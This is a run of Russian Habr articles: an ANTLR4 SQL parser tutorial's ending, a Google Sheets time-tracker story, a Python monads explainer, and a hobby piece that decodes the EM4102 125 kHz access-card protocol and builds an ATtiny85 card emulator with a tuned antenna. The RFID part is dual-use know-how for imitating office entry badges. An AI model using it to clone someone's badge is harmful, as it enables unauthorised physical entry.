*allColumns* содержит только ASTERISK, т.е. в этом правиле ожидается только звёздочка и всё. Звездочка не может быть именем колонки. И если после SELECT идёт звёздочка, мы сразу отправляемся в правило allColumns. Можно подумать что это ненужная декларация, ведь правило simpleSelect могло выглядеть так: `SELECT ('*'| specificColumns) FROM table EOQ`. Тогда мы бы не попали в метод лисенера, соответствующий allColumns, следовательно понять, нужны ли все колонки, пришлось бы по косвенным признакам. В нашем простом примере это легко реализовать, но в сложной лексике это станет нетривиальной задачей.
*specificColumns* содержит как минимум одно правило column, но через запятую может быть указано сколько угодно column.
*column* и *table* содержат некое VALID\_NAME, как и SELECT, FROM и прочие – это правило лексера. Давайте задекларируем их и разберёмся с ними.
Правила для лексера:
```
ASTERISK: '*';
SELECT: 'SELECT';
FROM: 'FROM';
EOQ: ';';
VALID_NAME
: [a-zA-Z] [a-zA-Z_0-9]*
;
SPACE: [ \t\r\n]+ -> channel(HIDDEN);
COMMENT_INPUT: '/*' .*? '*/' -> channel(HIDDEN);
LINE_COMMENT: ('-- ' | '#')
~[\r\n]*
('\r'? '\n' | EOF)
-> channel(HIDDEN);
```
Самое простое и понятное тут – это константы: *ASTERISK*, *SELECT*, *FROM*, *EOQ.* Они соответствуют конкретным значениям. Мы уже поняли, что благодаря им парсер может однозначно идентифицировать нужную ветвь правил.
*VALID\_NAME* – декларация похожа на очередной regexp, но с пробелом между первым символом и последующими. Этот пробел игнорируется, т.е. VALID\_NAME – это непрерывное слово, которое начинается с буквы и может содержать цифры, длина может быть любой. Но как только мы натыкаемся на что-то отличное от буквы или цифры (в SQL это, скорее всего, точка, запятая или пробел), мы считаем значение завершённым.
Тут есть особенность: SELECT и FROM соответствуют этому паттерну, поэтому их нужно декларировать выше, чем VALID\_NAME – и они первыми будут попадать в обработчик. Если VALID\_NAME будет стоять выше, то первое слово запроса `SELECT * FROM users;` будет воспринято как токен VALID\_NAME, а не как токен SELECT.
*SPACE*, *COMMENT\_INPUT*, *LINE\_COMMENT* – здесь по названию ясно что это. :) Синтаксис, конечно, непонятный, но зная, как работает regexp, и понимая, что пробелы между символами игнорируются, понять, что там написано, можно. Буду честен, я его нашел среди готовых грамматик, коих много на просторах интернета. Все они имеют запись `-> channel(HIDDEN);`. Это означает, что они будут проигнорированы нашим лисенером.
Так, с лексикой разобрались, теперь нужно сгенерировать код, который мы будем расширять и использовать для наших запросов.
Генерация кода
--------------
Gradle-плагин antlr, который мы подключили, приносит с собой [3 таски](https://docs.gradle.org/current/userguide/antlr_plugin.html#sec:antlr_tasks). Они занимаются генерацией кода и добавляют сгенерированный код в sourceSets, так, благодаря им, код становится доступным в ваших исходниках.
Таски можно кастомизировать до определённой степени, так в своём примере я добавил два аргумента: относиться к ворнингам как к эррорам и отображать детализацию исключений. Полный список аргументов можно найти в [документации к ANTLR4](https://github.com/antlr/antlr4/blob/master/doc/tool-options.md).
```
generateGrammarSource {
arguments += [
"-Werror", "-long-messages"
]
}
```
Выполните любую gradle-таску, включающую в себя compileJava, например `./gradlew assemble`. В директории build (или что там у вас настроено) появится директория generated-src, в которой будут располагаться исходники сгенерированных файлов, а скомпилированные будут лежать, как положено, в classes.
Если файлы не сгенерировались или лежат не там где надо, проверьте в какой директории лежит файл .g4 и указаны ли в нём грамматика, пакеты и правила. Если есть ошибки в самом файле .g4, то таска выдаёт вполне адекватные ошибки в лог:
> > Task :generateGrammarSource FAILED
>
> error(56): D:\projects\gradle-antlr4\src\main\antlr\org\example\SQL.g4:8:6: reference to undefined rule: simpleSlect
>
>
После всех описанных шагов, у меня сгенерировались классы: SQLParser, SQLLexer, SQLListener, SQLBaseListener. Первые два мы уже обсудили в разделе сущностей, третий – это интерфейс лисенера, в котором есть пары методов enter/exit для каждого из правил парсера из g4-файла. SQLBaseListener – пустая реализация интерфейса, сделана для удобства, так как, скорее всего, вам не нужны будут все методы интерфейса. Переопределить нужно только те, что нужны вашей логике, я так и сделал.
Реализация своей логики в Java-коде
-----------------------------------
Для простоты расширяем класс SQLBaseListener, переопределяя только те методы, что нужны нам:
```
public class SQLParserListener extends SQLBaseListener {
private final List columns = new ArrayList<>();
private String fromTable;
private boolean allColumns;
public SQLQuery getQuery() {
return new SQLQuery(fromTable, new ArrayList<>(columns), allColumns);
}
@Override
public void enterSqlQuery(SQLParser.SqlQueryContext ctx) {
fromTable = null;
columns.clear();
allColumns = false;
}
@Override
public void exitColumn(SQLParser.ColumnContext ctx) {
columns.add(ctx.VALID\_NAME().getText());
}
@Override
public void exitAllColumns(SQLParser.AllColumnsContext ctx) {
allColumns = true;
}
@Override
public void exitTable(SQLParser.TableContext ctx) {
fromTable = ctx.VALID\_NAME().getText();
}
}
```
В нашем простейшем примере всё, что нужно сделать, это получить доступ к слову, которое было распознано как VALID\_NAME, находясь в правильном контексте. Например, когда мы вошли или вышли в правило table, мы имеем доступ к его дочерним правилам, среди которых и VALID\_NAME.
Ключ к успеху здесь в том, чтобы минимизировать работу с токенами в Java, создать такой синтаксис, при котором нам не нужно было бы смотреть на имя или тип дочерних элементов, а создавать вместо этого именованные правила, которые будут приводить нас к нужным примитивным значениям.
Например, вместо того, чтобы работать с правилом списка колонок `enter/exitAllColumns`, лучше создать лексику в g4-файле, которая будет разбивать этот список на элементы, и в Java воспользоваться `enter/exitColumn`, реализовывать только обработку элементов списка.
Заключение
----------
Для нашего примера использование ANTLR выглядит, как стрельба из пушки по воробьям. Но стоит нам добавить обработку условия WHERE, которое может содержать, например, несколько вложенных AND и/или OR (причём в стандарте SQL ни глубина, ни сложность не ограничена), и на if/else-блоках такой код будет глубоким болотом – всё равно придется делать нечто схожее с ANTLR.
Спасибо, что дочитали (или проскролили :D) до этого момента. В качестве благодарности делюсь [ссылкой на код](https://github.com/timurnav/gradle-antlr4), который был упомянут выше. Версию кода для этой статьи можно найти по тегу [**simple\_select\_query**](https://github.com/timurnav/gradle-antlr4/releases/tag/simple_select_query). Тесты написаны, так что можно даже продебажить. | https://habr.com/ru/post/597553/ | null | ru | null |
# Я тут это… Трекалку для времени написал. За 628 минут
Привет, Друзья! Пару недель назад я подумал: «А можно ли использовать гугловые таблицы (Google Sheets), как простое и безопасное хранилище данных?». О, а еще мне давно хотелось написать трекалку времени.
И вот что получилось:
> [Код + Сайт](https://github.com/anvaka/time)
Как и у вас, у меня есть куча идей. Некоторые идеи застряют в голове надолго. Проще всего избавиться от идеи — это сесть и начать писать ее.
Мне давно хотелось избавиться от идеи отслеживать свое время :). Но тратить время на написание скучных вещей (хранилище данных, аутентификацию) мне было лень.
Оказывается Google Sheets имеет очень дружелюбный API, [хорошую документацию](https://developers.google.com/sheets/) и простой [hello world](https://developers.google.com/sheets/quickstart/js). За первый вечер получилось интегрировать их пример с [шаблоном для vue.js](https://github.com/vuejs-templates/webpack) .
Сайт сразу начал работать с примитивным интерфейсом:
```
git checkout 62687e46d3c768f50400bc3dc95a1f699c64b626
```
Я довольный отправился спать, а на следующий день начал пользоваться сайтом, замечая где больше всего острых углов. Острые углы стачивал ночью, после работы, и эксперимент продолжался на следующий день.
За несколько ночей я свел количество известных мне багов, граничных случаев и кликов для записи времени к удовлетворительному минимуму. А весь проект занял около 10.5 часов.
> На скриншоте сверху сайт называется «sheetime». У меня были сомнения в адекватности имени, но после замечания коллеги о большой туалетной ассоциации они развеялись. Пришлось переименовать в просто «time»
### Инструменты
В качестве фреймворка для управления данными я выбрал [vue.js](http://vuejs.org/), а стили взял из [materialize-css](http://materializecss.com/). Vue мне кажется проще чем react, и без магии angular.
Следующим шагом я выложил сайт на бесплатный хостинг с бесплатным https сертификатом: [www.netlify.com](https://www.netlify.com) (поскольку все open source). Нашел netlify по наводке от John-David Dalton'a — он хостит документацию к lodash у них, и очень тепло отзывался. Действительно удобно! Пара кликов и все работает.
*Это личное!* Мне было бы неприятно если бы кто-то следил за моими записями времени, потому я целенаправленно избегаю аналитику и сторонние сервера. После загрузки сайта, все данные идут напрямую гуглу, через их API.
### Удачи!
Я надеюсь, эта маленькая история маленького проекта вдохновит вас на реализацию своей идеи! И такой простой инструмент как Google Sheets будет у вас в загашнике. Весь код доступен здесь: [github.com/anvaka/time](https://github.com/anvaka/time) | https://habr.com/ru/post/311860/ | null | ru | null |
# Монады за 15 минут
Вступление
----------
На конференции [YOW! 2013](http://yowconference.com.au/) один из разработчиков языка Haskell, [проф. Филип Вадлер](http://homepages.inf.ed.ac.uk/wadler/), показал, как монады позволяют чистым функциональным языкам осуществлять императивные по сути операции, такие, как ввод-вывод и обработку исключений. Неудивительно, что интерес аудитории к этой теме породил взрывной рост публикаций о монадах в Интернет. К сожалению, бо́льшая часть этих публикаций использует примеры, написанные на функциональных языках, подразумевая, что о монадах хотят узнать новички в функциональном программировании. Но монады не специфичны для Haskell или функциональных языков, и вполне могут быть проиллюстрированы примерами на императивных языках программирования. Это и является целью данного руководства.
Чем это руководство отличается от остальных? Мы попытаемся не более чем за 15 минут «открыть» монады, используя лишь интуицию и несколько элементарных примеров кода на Python. Мы поэтому не станем теоретизировать и углубляться в философию, рассуждая о [буррито](http://blog.plover.com/prog/burritos.html), [космических скафандрах](http://web.archive.org/web/20081206204420/http://www.loria.fr/~kow/monads/index.html), [письменных столах](http://www.infoq.com/presentations/Why-is-a-Monad-Like-a-Writing-Desk) и эндофункторах.
Мотивационные примеры
---------------------
Мы рассмотрим три проблемы, относящиеся к композиции функций. Мы решим их двумя способами: обычным императивным и при помощи монад. Затем мы сравним разные подходы.
### 1. Логгирование
Допустим, у нас есть три унарные функции: `f1`, `f2` и `f3`, принимающие число и возвращающие его увеличенным на 1, 2 и 3 соответственно. Также каждая функция генерирует сообщение, представляющее собой отчёт о выполненной операции.
```
def f1(x):
return (x + 1, str(x) + "+1")
def f2(x):
return (x + 2, str(x) + "+2")
def f3(x):
return (x + 3, str(x) + "+3")
```
Мы хотели бы объединить их в цепочку для обработки параметра `x`, иначе говоря, мы хотели бы вычислить `x+1+2+3`. Кроме того, нам нужно получить человекочитаемое объяснение того, что было сделано каждой функцией.
Можно добиться нужного нам результата следующим способом:
```
log = "Ops:"
res, log1 = f1(x)
log += log1 + ";"
res, log2 = f2(res)
log += log2 + ";"
res, log3 = f3(res)
log += log3 + ";"
print(res, log)
```
Это решение неидеально, так как состоит из большого количества однообразного связующего кода. Если мы захотим добавить к нашей цепочке новую функцию, мы вынуждены будем повторить этот связующий код. Кроме того, манипуляции с переменными `res` и `log` ухудшают читаемость кода, мешая следить за основной логикой программы.
В идеале, программа должна выглядеть как простая цепочка функций, вроде `f3(f2(f1(x)))`. К сожалению, типы данных, возвращаемых `f1` и `f2`, не соответствуют типам параметров `f2` и `f3`. Но мы можем добавить в цепочку новые функции:
```
def unit(x):
return (x, "Ops:")
def bind(t, f):
res = f(t[0])
return (res[0], t[1] + res[1] + ";")
```
Теперь мы можем решить проблему следующим образом:
```
print(bind(bind(bind(unit(x), f1), f2), f3))
```
Следующая диаграмма показывает вычислительный процесс, происходящий при `x=0`. Здесь `v1`, `v2` и `v3` − значения, полученные в результате вызовов `unit` и `bind`.
Функция `unit` преобразует входной параметр `x` в кортеж из числа и строки. Функция `bind` вызывает функцию, переданную ей в качестве параметра, и накапливает результат в промежуточной переменной `t`.
Мы смогли избежать повторений связующего кода, поместив его в функцию `bind`. Теперь, если у нас появится функция `f4`, мы просто включим её в цепочку:
```
bind(f4, bind(f3, ... ))
```
И никаких других изменений нам делать не понадобится.
### 2. Список промежуточных значений
Этот пример мы также начнём с простых унарных функций.
```
def f1(x): return x + 1
def f2(x): return x + 2
def f3(x): return x + 3
```
Как и в предыдущем примере, нам нужно скомпоновать эти функции, чтобы вычислить `x+1+2+3`. Также нам нужно получить список всех значений, полученных в результате работы наших функций, то есть `x`, `x+1`, `x+1+2` и `x+1+2+3`.
В отличие от предыдущего примера, наши функции компонуемы, то есть типы их входных параметров совпадают с типом результата. Поэтому простая цепочка `f3(f2(f1(x)))` вернёт нам конечный результат. Но в таком случае мы потеряем промежуточные значения.
Решим задачу «в лоб»:
```
lst = [x]
res = f1(x)
lst.append(res)
res = f2(res)
lst.append(res)
res = f3(res)
lst.append(res)
print(res, lst)
```
К сожалению, это решение также содержит много связующего кода. И если мы решим добавить `f4`, нам опять придётся повторять этот код, чтобы получить верный список промежуточных значений.
Поэтому добавим две дополнительные функции, как и в предыдущем примере:
```
def unit(x):
return (x, [x])
def bind(t, f):
res = f(t[0])
return (res, t[1] + [res])
```
Теперь мы перепишем программу в виде цепочки вызовов:
```
print(bind(bind(bind(unit(x), f1), f2), f3))
```
Следующая диаграмма показывает вычислительный процесс, происходящий при `x=0`. Снова `v1`, `v2` и `v3` обозначают значения, полученные в результате вызовов `unit` и `bind`.
### 3. Пустые значения
Попробуем привести более интересный пример, на этот раз с классами и объектами. Допустим, у нас есть класс `Employee` с двумя методами:
```
class Employee:
def get_boss(self):
# Return the employee's boss
def get_wage(self):
# Compute the wage
```
Каждый объект класса `Employee` имеет руководителя (другой объект класса `Employee`) и зарплату, доступ к которым осуществляется через соответствующие методы. Оба метода могут также возвращать `None` (работник не имеет руководителя, зарплата неизвестна).
В этом примере мы создадим программу, которая показывает зарплату руководителя данного работника. Если руководитель не найден, или его зарплата не может быть определена, то программа вернёт `None`.
В идеале нам нужно написать что-то вроде
```
print(john.get_boss().get_wage())
```
Но в таком случае, если какой-то из методов вернёт `None`, наша программа завершится с ошибкой.
Очевидный способ учесть эту ситуацию может выглядеть так:
```
result = None
if john is not None and john.get_boss() is not None and john.get_boss().get_wage() is not None:
result = john.get_boss().get_wage()
print(result)
```
В этом случае мы допускаем лишние вызовы методов `get_boss` и `get_wage`. Если эти методы достаточно тяжелы (например, обращаются к базе данных), наше решение не годится. Поэтому изменим его:
```
result = None
if john is not None:
boss = john.get_boss()
if boss is not None:
wage = boss.get_wage()
if wage is not None:
result = wage
print(result)
```
Этот код оптимален в плане вычислений, но плохо читается за счёт трёх вложенных `if`. Поэтому попробуем использовать тот же трюк, что и в предыдущих примерах. Определим две функции:
```
def unit(e):
return e
def bind(e, f):
return None if e is None else f(e)
```
И теперь мы можем скомпоновать всё решение в одну строку.
```
print(bind(bind(unit(john), Employee.get_boss), Employee.get_wage))
```
Как вы, наверное, уже заметили, в этом случае нам не обязательно было писать функцию `unit`: она просто возвращает входной параметр. Но мы оставим её, чтобы нам легче было потом обобщить наш опыт.
Обратите внимание также на то, что в Python мы можем использовать методы как функции, что позволило нам написать `Employee.get_boss(john)` вместо `john.get_boss()`.
Следующая диаграмма показывает процесс вычислений в том случае, когда у Джона нет руководителя, то есть `john.get_boss()` возвращает `None`.
Выводы
------
Допустим, мы хотим объединить однотипные функции `f1`, `f2`, `…`, `fn`. Если их входные параметры совпадают по типу с результатами, мы можем использовать простую цепочку вида `fn(… f2(f1(x)) …)`. Следующая диаграмма показывает обобщённый процесс вычислений с промежуточными результатами, обозначенными как `v1`, `v2`, `…`, `vn`.
Зачастую этот подход неприменим. Типы входных значений и результатов функций могут различаться, как в первом примере. Либо же функции могут быть компонуемы, но мы хотим вставить дополнительную логику между вызовами, как в примерах 2 и 3 мы вставляли аггрегацию промежуточных значений и проверку на пустое значение соответственно.
### 1. Императивное решение
Во всех примерах мы вначале использовали самый прямолинейный подход, который можно отобразить следующей диаграммой:
Перед вызовом `f1` мы выполняли некоторую инициализацию. В первом примере мы инициализировали переменную для хранения общего лога, во втором − для списка промежуточных значений. После этого мы перемежали вызовы функций неким связующим кодом: вычисляли агрегатные значения, проверяли результат на `None`.
### 2. Монады
Как мы видели на примерах, императивные решения всегда страдали многословностью, повторениями и запутанной логикой. Чтобы получить более элегантный код, мы использовали некий шаблон проектирования, согласно которому мы создавали две функции: `unit` и `bind`. Этот шаблон и называется **монадой**. Функция `bind` содержит связующий код, в то время, как `unit` осуществляет инициализацию. Это позволяет упростить итоговое решение до одной строки:
```
bind(bind( ... bind(bind(unit(x), f1), f2) ... fn-1), fn)
```
Процесс вычисления можно представить диаграммой:
Вызов `unit(x)` генерирует начальное значение `v1`. Затем `bind(v1, f1)` генерирует новое промежуточное значение `v2`, которое используется в следующем вызове `bind(v2, f2)`. Этот процесс продолжается, пока не будет получен итоговый результат. Определяя различные `unit` и `bind` в рамках этого шаблона, мы можем объединять различные функции в одну цепочку вычислений. Библиотеки монад (*например, PyMonad или OSlash, − прим. перев.*) обычно содержат готовые к употреблению монады (пары функций `unit` и `bind`) для реализации определённых композиций функций.
Чтобы собрать функции в цепочку, значения, возвращаемые `unit` и `bind`, должны быть того же типа, что и входные параметры `bind`. Этот тип называется **монадическим**. В терминах вышеприведённой диаграммы, тип переменных `v1`, `v2`, `…`, `vn` должен быть монадическим типом.
Наконец, рассмотрим, как можно улучшить код, написанный с использованием монад. Очевидно, повторяющиеся вызовы `bind` выглядят неэлегантно. Чтобы избежать этого, определим ещё одну внешнюю функцию:
```
def pipeline(e, *functions):
for f in functions:
e = bind(e, f)
return e
```
Теперь вместо
```
bind(bind(bind(bind(unit(x), f1), f2), f3), f4)
```
мы можем использовать следующее сокращение:
```
pipeline(unit(x), f1, f2, f3, f4)
```
Заключение
----------
Монады − это простой и мощный шаблон проектирования, используемый для композиции функций. В декларативных языках программирования он помогает реализовать такие императивные механизмы, как логгирование или ввод/вывод. В императивных языках
он помогает обобщить и сократить код, связывающий серию вызовов однотипных функций.
Эта статья даёт только поверхностное, интуитивное понимание монад. Вы можете узнать больше, обратившись к следующим источникам:
1. [Википедия](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%BD%D0%B0%D0%B4%D0%B0_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))
2. [Monads in Python (with nice syntax!)](http://www.valuedlessons.com/2008/01/monads-in-python-with-nice-syntax.html)
3. [Monad tutorials timeline](https://wiki.haskell.org/Monad_tutorials_timeline) | https://habr.com/ru/post/445800/ | null | ru | null |
# Эмулятор RFID
Эмулятор карт EM Marine
-----------------------
[](https://habr.com/ru/company/ruvds/blog/515868/)
Наверняка каждому из нас, кто хоть раз бывал в обычных офисах, было интересно, как же функционируют эти бесконтактные пропуска. В данной статье мы разберёмся с принципом работы бесконтактных карт и сделаем эмулятор буквально из трёх радиодеталей.
Технология RFID
---------------
**Внешний вид RFID-меток**
RFID (англ. Radio Frequency IDentification, радиочастотная идентификация) — имеет достаточно широкий частотный диапазон и достаточно большое количество различных стандартов, которые так или иначе применимы к данной технологии. Для справки: используются частоты: 125-135кГц, 400 кГц, 6.78МГц, 13.56МГц (карты метро и банковские карты), 27.125МГц, 40.68 МГц, 433.29 МГц, 869 МГц, 915 МГц, 2.45 ГГц, 5.8 ГГц и 24.125ГГц. Как видно частотный диапазон очень широкий.
Мы же будем говорить о самых распространённых и наименее защищённых картах частотного диапазона 125 кГц. Я разберу стандарт EM Marine 4102, так как именно с ним лучше всего знаком. Однако код эмулятора позволяет работать и с другими стандартами, работающими на частоте 125 кГц.
Чтобы мы могли дальше углубиться в теорию, следует рассказать пару слов о принципе работы RFID. Далее в тексте будет приводиться информация, относящаяся к стандарту 125 кГц EM Marine, прочие RFID решения устроены подобным образом.
Считыватель, кроме информационного обмена осуществляет подачу питания. Метка из себя представляет ПЗУ, которое питается от электромагнитного поля, и после подачи питания просто отдаёт записанную информацию.
Из этой схемы хорошо видно, как устроен передатчик и приёмник. Оба колебательных контура настроены в резонанс и используются для передачи данных и передачи энергии, для питания пассивной метки, в роли которой выступает наша карта.
Более детально о принципе работы можно прочитать в [[1]](http://www.meraprojekt.com.pl/files/AN411.pdf)
**Внутренности разобранной карты**
Если разобрать карту, то можно увидеть антенну в виде катушки и чип залитый компаундом, в котором находится ПЗУ и конденсатор ёмкостью 75 пФ.
Описание протокола EM4102
-------------------------
Прежде, чем мы пойдём дальше, давайте разберёмся со стандартом EM4102, который мы будем эмулировать. EM4102 совместимая RFID-метка содержит 64 бита памяти только для чтения. По сути — это и есть ПЗУ, то есть информация может быть считана из неё, но не может быть изменена либо записана, проще говоря этот чип единожды прошивается на заводе. Структуру памяти метки можно посмотреть на рисунке ниже.
Когда метка попадает в электромагнитное поле, излучаемое считывателем RFID, она получает энергию от поля (питание) и начинает передачу данных. Первые 9 битов – это логическая единица. Эти биты используются как последовательность маркеров для обозначения начала передачи. Поскольку во всех остальных данных используется контроль чётности, эта девятибитная последовательность единиц больше не встретится ни в каком другом месте. Далее идут 10 групп по 4 бита данных и 1 бит чётности на каждую группу. Наконец, есть 4 бита контрольной суммы и последний стоповый бит, который всегда равен нулю.
Метка повторяет цикл передачи данных, пока на неё приходит питание. Поэтому мы на ридере наблюдаем постоянное считывание метки.
Приведу пример данных, которые передаёт метка с номером: **0x06** — номер версии, и **0x001259E3** — данные.
Кстати, номер, напечатанный на карте можно перевести в hex-номер, который получит считыватель. Например, на карте записан номер: **116,23152**
* 116 в десятичной системе счисления – это 0x74 в шестадцатиричной;
* 23152 в десятичной – это 0x5A70 в шестнадцатиричной;
Комбинируя их, мы получаем серийный номер карты, который нам даст считыватель: **0x00745A70**.
Модуляция сигнала
-----------------
Передача данных от метки до считывателя осуществляется с помощью модуляции несущего сигнала считывателя (в нашем случае несущей частоты 125 кГц). Обратите внимание, что от этой несущей частоты идёт и питание и ей же осуществляется модуляция сигнала. Для начала рассмотрим упрощённую схему взаимодействия считывателя и метки. Запомните эту картинку, мы ещё будем к ней обращаться.
Как видно у метки есть колебательный контур LC, диод, служащий для выпрямления переменного тока, конденсатор для сглаживания пульсаций (это часть питания метки), и транзистор, управляя которым мы можем модулировать сигнал. На считывателе это будет отражаться в изменении тока протекающего в катушке. Проще говоря, при попадании в поле считывателя, метка потребляет электрический ток (примерно постоянно), при передаче информации она транзистором изменяет значение потребляемого тока и таким образом считыватель может получить сигнал, измеряя потребляемую мощность.
Считыватель генерирует магнитное поле, с помощью модулятора и катушки и снимает промодулированный сигнал, затем декодирует его.
**Пример модуляции несущего сигнала**
Если я вас окончательно не запутал, то едем дальше. Для того чтобы передать данные, нам необходимо модулировать сигнал. То есть на несущую частоту наложит биты передаваемой информации.
По стандарту RFID есть три популярных схемы модуляции:
* Манчестер код
* Двухфазный манчестер код
* Кодирование фазовым сдвигом
Поскольку в стандарте EM4102 используется схема Манчестерского кодирования, то её и рассмотрим. При модуляции для EM4102 протокола время передачи одного бита может составлять 64, 32 или 16 периодов несущей частоты (125 кГц).
При таком кодировании метка изменяет уровень передачи сигнала строго в середине периода передачи одного бита. Переход от низкого к высокому уровню в эти моменты означает состояние логической «1», а переход от высокого уровня к низкому, представляет состояние логического «0».
**Реальный промодулированный сигнал, снятый на катушке считывателя.**
Делаем RFID-эмулятор
--------------------
Ну что же, если вы ещё здесь и голова не опухла, от таких выкладок, то пришла пора делать RFID-эмулятор, всего из двух деталей. В этой простоте кроется гениальность. Устройство я собрал, позаимствовав идею и код у [Micah Dowty](mailto:micah@navi.cx), фотографии мои.
**Вот такой миниатюрный таракан, вполне может эмулировать метку**
[Сайт проекта](https://scanlime.org/2008/09/using-an-avr-as-an-rfid-tag/) . Код очень интересен, можно сказать гениален и лаконичен (используется ассемблер). Остановимся на нём подробно. Его мы и разберём. [Ознакомиться с кодом можно вот тут](http://svn.navi.cx/misc/trunk/avrfid/).
Для начала разберёмся, как же эта штука вообще функционирует, хотя по определению работать не должна, так как противоречит привычной схеме подключения микроконтроллера. Схема устройства взята из исходного кода.
**Катушка индуктивности около 1 мкГн и микроконтроллер ATtiny85**
Вот это дамы и господа и есть настоящее Хакерство, когда уровень понимания особенностей работы оборудования позволяет создавать технические решения, выходящие за рамки, обозначенные производителем! И это работает, проверено лично. Вот истинное значение слова «хакер», это не про взлом и воровство.
Забегая вперёд скажу, что данной катушки для нормальной работы недостаточно, и всё же пришлось cделать нормальную антенну, повесить конденсаторы по питанию, резонансный конденсатор. Но вот для демонстрации принципов работы вполне подойдёт.
Как же это работает:
> * Катушка фактически питает микроконтроллер AVR через контакты ввода/вывода. Каждый такой контроллер имеет диоды на портах ввода/вывода, которые предотвращает повышение напряжения на этом выводе выше напряжения питания микросхемы или опускание уровня сигнала ниже уровня земли. Они используются также для предотвращения статического пробоя, который приводит к выходу из строя микросхемы. При поднесении катушки к считывателю, в ней наводится ЭДС равная нескольким вольтам. Когда напряжение на катушке превышает напряжение питания контроллера, то часть этой энергии через эти ограничивающие диоды передаются к шине питания микросхемы. В результате получается, что микроконтроллер получает питание. А верх и низ синусоидальной волны усекается, и сигнал становится более похож на прямоугольный меандр.
> * Фильтрация питания с использованием ёмкости кристалла AVR. Обычно, когда ставят микросхему, то ставят конденсаторы по питанию, для фильтрации помех (обычно 0,1 мкФ керамику и электролит параллельно). В данном решении фильтрация осуществляется только внутренней ёмкостью шин питания в кремниевом кристалле микроконтроллера AVR. Она небольшая, но даже её достаточно для стабильного питания и работы, при питании от импульсов с частотой 125кГц!
> * Работа осуществляется при очень низком напряжении. Микроконтроллер ATtiny85 предназначен для работы при напряжении всего 2,5 В. Существует версия с расширенным диапазоном напряжений до 1,8 В. При этих напряжениях обычные тактовые генераторы AVR не работают, но этого можно избежать применив следующий хак...
> * Катушка индуктивности применяется не только для питания микросхемы, но ещё и для тактирования микроконтроллера! Выше мы говорили, что получаем прямоугольную волну, которая остаётся после того как ограничивающие диоды забрали немного энергии. Эта форма волны является входом Clock нашего микроконтроллера! И весь код работает на частоте 125 кГц, синхронно с несущей частотой считывателя RFID. Это гениально, ребята!
> * Прошивка? На таких низких скоростях микропрограммное обеспечение микросхемы больше похоже на последовательность операций ввода-вывода, выполняемых синхронно с каждым тактовым циклом несущей. Но остается много лишних циклов. В протоколе EM4102 вы потенциально можете выполнить некоторую полезную работу с 32 тактовыми циклами между каждым битом. Однако с протоколом HID вам необходимо выводить фронт FSK каждые 4 тактовых цикла. В результате прошивка на RFID-метке крайне тупая. «Исходный код» на самом деле представляет собой просто набор причудливых макросов ассемблера, которые преобразуют код метки RFID в длинную последовательность инструкций ввода-вывода.
>
Прежде чем мы пойдём разбирать код данного эмулятора давайте сделаем ему нормальную антенну. Мои эксперименты с текущей схемотехникой выявили крайнюю нестабильность её работы. Она работает только совсем рядом со считывателем и то не всегда. Поэтому сначала я припаял конденсатор 0,1 мкФ на ножки питания контроллера, а потом решил сделать настоящий большой колебательный контур, как в настоящей метке.
**Первая модификация — конденсатор 0,1 мкФ по питанию**
Создание антенны
----------------
Никаких хитростей в создании катушечной антенны нет, но всё же необходимо ознакомиться с документацией и понимать физику процесса… Это не сложно, и справится даже школьник, требуется только немного терпения и усидчивости.
Собрать и настроить антенну очень просто, прямо как в картинке из [[1]](http://www.meraprojekt.com.pl/files/AN411.pdf).
Для расчёта антенны надо вспомнить немного теории. Нам необходимо сделать колебательный контур, который будет настроен на частоту 125 кГц. Откроем курс Теоретических Основ Электротехники и прочитаем, что же такое колебательный контур:
> Колебательный контур, электрическая цепь, содержащая катушку индуктивности и конденсатор, в которой могут возбуждаться электрические колебания.
**Параллельный колебательный контур**
Если оставить всю математику и перейти к сути, у колебательного контура есть такой параметр, как резонансная частота, которая определяется по формуле.
Где *f* — частота колебаний, *L* — индуктивность катушки, *C* — ёмкость конденсатора.
В данном случае у нас есть фиксированный параметр — частота, а с ёмкостью и индуктивностью мы можем играться. Для того чтобы рассчитать катушку, воспользуемся документом [[2]](http://ww1.microchip.com/downloads/en/appnotes/00710c.pdf). Все кто хоть как-то собираются делать антенны для RFID меток (любых частот), обязаны с ним ознакомиться!
Многие умельцы, как для ридеров, так и для эмуляторов (суть не важна) делают круглые катушки. Их проще считать и изготавливать, но они имеют существенный недостаток — их линейные размеры больше карточки. Я хочу изготовить катушку индуктивности в форме прямоугольника, с линейными размерами меньше размеров стандартной карты и, чтобы результирующее устройство было размером со стандартную карту RFID. В результате выбираю размер будущей катушки индуктивности практически такой же, как стоит в настоящей метке, то есть примерно **70х40 мм**. Если конденсатор выбрать 10 нФ, то индуктивность катушки (из формулы выше), должна составлять у нас 162 мкГн. Теперь смотрим в документацию по расчёту прямоугольной катушки. Для намотки катушки выбрал провод сечением 0,2 мм. В результате открываем соответствующий раздел документации, и нашему взору представляется следующая славная формула.
Как видим параметры толщины и ширины катушки у нас неизвестные и изменяемые (упираются в толщину провода 0,2 мм), но общие прикидки мне дали цифру в 42 витка. Можно было бы сделать несколько итераций, и сделать прям точный-точный расчёт, но в нашем штучном случае, и так сойдёт.
После чего, необходимо изготовить каркас **70х40** мм для намотки катушки. Его я изготовил из текстолита и на него намотал катушку.
**Каркас из текстолита**
**Намотка и готовая катушка**
К сожалению, измерителя индуктивности у меня нет, поэтому пришлось действовать далее методом научного тыка. Поскольку я наверняка ошибся в расчётах, и в количестве витков, когда наматывал катушку, так как делал их приблизительно и на глаз, то я решил подобрать резонансную ёмкость вручную. Для этого закрепил катушку на картридере, воткнул её концы в макетную плату (“матрац с дырками”), затем начал поочерёдно подключать ёмкости, при этом регистрируя сигнал на осциллографе.
**Начнём подбор резонансного конденсатора**
Сначала я проверил конденсатор емкостью 10 нФ, который должен быть резонансным. Но амплитуда сигнала сразу просела, по сравнению с пустой катушкой. Тогда я взял конденсатор меньшего номинала. И так перебирал конденсаторы, пока не поймал резонанс. Таким образом резонансная ёмкость конденсатора составила 3,2 нФ.
**Сигнал без конденсатора, пустая катушка**
**Сигнал 10 нФ**
**1 нФ, 2 нФ**
**3 нФ, 4 нФ, 2,2 нФ**
**3,2 нФ**
Видно, что пробовал разные варианты, и было ясно что максимум лежит где-то между 3 и 4 нФ и результатом стал конденсатор 3,2 нФ (состоящий из двух конденсаторов в параллели). Всё, наша катушка готова к дальнейшим опытам.
